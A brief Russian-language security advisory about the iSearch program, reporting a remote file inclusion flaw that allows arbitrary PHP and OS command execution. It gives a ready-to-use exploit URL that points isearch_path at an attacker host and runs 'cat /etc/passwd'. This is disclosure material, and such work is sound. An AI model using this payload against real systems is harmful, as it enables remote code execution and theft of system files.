Программа: iSearch
Уязвимость обнаружена в iSearch. Удаленный пользователь может выполнить произвольный PHP код и команды операционной системы на целевой системе.
Пример:
http://[target]/isearch/isearch.inc.php? isearch_path=http://[attacker]?&cmd=
cat /etc/passwd
